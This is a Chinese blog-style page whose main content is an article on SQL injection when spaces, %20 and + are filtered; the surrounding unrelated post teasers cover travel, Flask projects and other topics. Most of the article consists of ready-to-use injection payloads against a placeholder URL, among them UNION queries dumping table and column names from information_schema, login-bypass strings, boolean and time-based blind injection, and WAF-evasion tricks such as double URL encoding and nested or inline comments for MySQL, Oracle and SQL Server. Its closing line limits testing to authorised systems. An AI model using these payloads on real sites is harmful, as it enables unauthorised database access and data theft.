news 2026/6/10 10:55:13

sql注入中过滤分隔符的测试方法

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
sql注入中过滤分隔符的测试方法

目录

空格、%20、+被过滤时的测试方法

一、核心思路:替代空格的常用字符/语法

快速验证方法

二、分场景测试方法

场景1:GET请求参数(URL中)

步骤1:用/**/替代空格测试基础注入

步骤2:URL编码特殊字符(换行/制表符)

步骤3:括号包裹字段/表名

场景2:POST请求参数(表单/JSON)

方法1:用/**/替代空格

方法2:MySQL内联注释(仅MySQL)

场景3:盲注(无报错回显)

布尔盲注示例(MySQL)

时间盲注优化(无空格)

场景4:特殊数据库适配

1. Oracle数据库

2. SQL Server数据库

三、绕过过滤的进阶技巧

技巧1:混合编码(双重URL编码)

技巧2:利用运算符替代空格

技巧3:注释嵌套(绕过WAF规则)

四、测试注意事项

五、常见问题排查


空格、%20、+被过滤时的测试方法

在SQL注入测试中,空格(包括URL编码的%20)、+是最常用的分隔符,若被WAF/代码过滤,可通过特殊字符/语法替代分隔符编码绕过注释截断等方式突破限制,本文详细讲解具体测试方法与场景适配。

一、核心思路:替代空格的常用字符/语法

SQL语法中,空格的核心作用是分隔关键字/表名/字段名,以下字符/语法可等效替代空格,且多数数据库兼容:

替代方式

语法示例

适用数据库

说明

注释符截断

SELECT/**/username/**/FROM/**/users

MySQL/Oracle/SQL Server

/**/是通用注释,可分隔语句

换行符

SELECT%0Ausername%0AFROM%0Ausers

所有主流数据库

%0A是URL编码的换行符

制表符

SELECT%09username%09FROM%09users

所有主流数据库

%09是URL编码的制表符

括号包裹

SELECT(username)FROM(users)

MySQL/SQL Server

用括号分隔字段/表名

特殊空白字符

SELECT%0Busername%0BFROM%0Busers

MySQL/Oracle

%0B(垂直制表符)、%0C(换页符)

内联注释

SELECT/*!username*/FROM/*!users*/

MySQL

MySQL特有内联注释,不影响执行

快速验证方法

先通过简单语句测试替代符是否生效(以MySQL为例):

# 原正常语句(空格分隔) SELECT id FROM users WHERE id=1 # 替换后测试语句 SELECT/**/id/**/FROM/**/users/**/WHERE/**/id=1 -- 注释符替代 SELECT%0Aid%0AFROM%0Ausers%0AWHERE%0Aid=1 -- 换行符替代 SELECT(id)FROM(users)WHERE(id=1) -- 括号替代

二、分场景测试方法

场景1:GET请求参数(URL中)

若目标URL为:http://xxx.com/user.php?id=1,空格/%20/+被过滤:

步骤1:用/**/替代空格测试基础注入

# 测试是否存在注入(判断是否报错) http://xxx.com/user.php?id=1/**/AND/**/1=1 http://xxx.com/user.php?id=1/**/AND/**/1=2 # 联合查询测试(提取表名) http://xxx.com/user.php?id=-1/**/UNION/**/SELECT/**/1,group_concat(table_name),3/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()

步骤2:URL编码特殊字符(换行/制表符)

/**/也被过滤,用%0A/%09替代:

# 换行符(%0A)替代 http://xxx.com/user.php?id=1%0AAND%0A1=1 # 制表符(%09)替代 http://xxx.com/user.php?id=1%09AND%091=2

步骤3:括号包裹字段/表名

若所有空白字符都被过滤,用括号分隔:

http://xxx.com/user.php?id=1AND(1=1) http://xxx.com/user.php?id=-1UNION(SELECT(1),(2),(3)FROM(users))

场景2:POST请求参数(表单/JSON)

若POST参数(如username=admin&password=123)中空格被过滤:

方法1:用/**/替代空格

// JSON格式示例 { "username": "admin'/**/AND/**/1=1#", "password": "123" }

// 表单格式示例 username=admin'/**/OR/**/'1'='1&password=123

方法2:MySQL内联注释(仅MySQL)

利用/*! */注释包裹关键字,无需空格:

# 测试语句 username=admin'/*!AND*/1=1# password=123 # 提取数据 username=-1'/*!UNION*//*!SELECT*/1,group_concat(column_name),3/*!FROM*/information_schema.columns/*!WHERE*/table_name='users'#

场景3:盲注(无报错回显)

若无法通过报错判断,需结合布尔盲注/时间盲注,同时替换空格:

布尔盲注示例(MySQL)

# 测试数据库名长度(/**/替代空格) http://xxx.com/user.php?id=1/**/AND/**/length(database())=8 # 时间盲注(%0A替代空格) http://xxx.com/user.php?id=1%0AAND%0Asleep(5)

时间盲注优化(无空格)

# 括号包裹,无任何空白字符 http://xxx.com/user.php?id=1AND(sleep(5))

场景4:特殊数据库适配

1. Oracle数据库

Oracle不支持/**/注释分隔,优先用%0A(换行符)或--注释截断:

-- 测试语句(%0A替代空格) SELECT%0Aname%0AFROM%0Ausers%0AWHERE%0Aid=1 -- 注释截断(无需空格) SELECT'1'FROM dual WHERE '1'='1'--

2. SQL Server数据库

支持[]包裹关键字,且%09(制表符)兼容性更好:

-- 制表符替代空格 SELECT%09[name]%09FROM%09[users]%09WHERE%09[id]=1 -- 括号替代 SELECT([name])FROM([users])WHERE([id]=1)

三、绕过过滤的进阶技巧

技巧1:混合编码(双重URL编码)

若WAF过滤%0A/%09,可对编码再次编码:

# %0A的双重编码是%250A http://xxx.com/user.php?id=1%250AAND%250A1=1 # %09的双重编码是%2509 http://xxx.com/user.php?id=1%2509AND%25091=2

技巧2:利用运算符替代空格

部分场景下,+/-/*等运算符可间接分隔语句(需结合语法):

# MySQL示例(+号分隔) SELECT 1+1 FROM users WHERE id=1 -- 等效于 SELECT 1 1 FROM users... # 注入测试 id=1'+'AND+'1'='1

技巧3:注释嵌套(绕过WAF规则)

若WAF拦截/**/,可嵌套注释:

# 嵌套注释替代空格 SELECT/*/*/id/*/*/FROM/*/*/users

四、测试注意事项

  1. 优先测试通用替代符:先试/**/,再试%0A/%09,最后试括号,减少测试成本;

  2. 适配数据库类型:不同数据库对替代符的支持差异大(如Oracle不支持/**/),需先确认数据库类型;

  3. 避免触发WAF拦截:部分替代符(如/*! */)可能被WAF标记为恶意,可混合多种方式;

  4. 验证语句有效性:替换空格后,先在本地数据库测试语句是否能正常执行,再用于目标站点;

  5. 合规测试:仅对授权的系统进行测试,避免违反法律法规。

五、常见问题排查

  1. 替代符无效:检查是否数据库版本不兼容(如MySQL 5.5以下对/*! */支持有限),或WAF深度解析了注释/编码;

  2. 语句报错:确认替代符位置是否正确(如/**/需放在关键字之间,而非首尾);

  3. 盲注无响应:可能是替代符被过滤,或目标无注入漏洞,需换用其他替代方式。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/9 22:24:31

茈碧湖:不止是洱海之源,更有 “水花树” 奇观

在云南大理的苍山云弄峰下,有一片被群山温柔环抱的湖泊。它不如洱海那般声名远扬,却以一抹澄澈的碧色和湖中独有的花朵,静默地诠释着“源头”二字的清幽与纯粹。这里便是洱海之源——茈碧湖。茈碧湖的湖水清澈,色碧如玉。无论是春…

作者头像 李华
网站建设 2026/6/9 19:48:15

python-flask-django火车票购票系统_33bx0nk0

文章目录 系统截图项目技术简介可行性分析主要运用技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式! 系统截图 篇樱桃红-flas卡-django_co3bxnk 火车票购票系统 项目技术简介 Python版本:py…

作者头像 李华
网站建设 2026/6/9 18:54:49

python-flask-django简历智能推荐系统_jw8dzu00

文章目录系统截图项目技术简介可行性分析主要运用技术介绍核心代码参考示例结论源码lw获取/同行可拿货,招校园代理 :文章底部获取博主联系方式!系统截图 python-flask-django_jw8dzu00 简历智能推荐系统 项目技术简介 Python版本:pytho…

作者头像 李华
网站建设 2026/6/10 8:28:58

62、Ubuntu和Linux互联网资源指南

Ubuntu和Linux互联网资源指南 1. 笔记本电脑和PDA上运行Linux的信息网站 在笔记本电脑上运行Linux,你可以从以下网站获取相关信息: - Kenneth Harker的Linux Laptop网站 :网址为http://www.linux - laptop.net 。虽然该网站不像过去那样频繁更新,但它仍然拥有全球最大…

作者头像 李华
网站建设 2026/6/10 19:44:43

【卫星Agent信号处理核心技术】:揭秘高效信号解码的5大关键技术

第一章:卫星Agent信号处理的核心挑战在现代航天系统中,卫星Agent承担着关键的数据采集与实时信号处理任务。由于空间环境的复杂性与通信链路的高延迟特性,信号处理面临诸多技术瓶颈。高噪声环境下的信号提取 卫星在轨运行时,接收到…

作者头像 李华
网站建设 2026/6/10 15:52:41

供应链需求预测难题如何破解?:Agent模型实战应用的3个关键步骤

第一章:供应链需求预测的挑战与Agent模型的兴起在现代供应链管理中,准确的需求预测是保障库存优化、降低运营成本和提升客户满意度的核心。然而,传统预测方法如时间序列分析(ARIMA)或线性回归在面对市场波动、促销活动…

作者头像 李华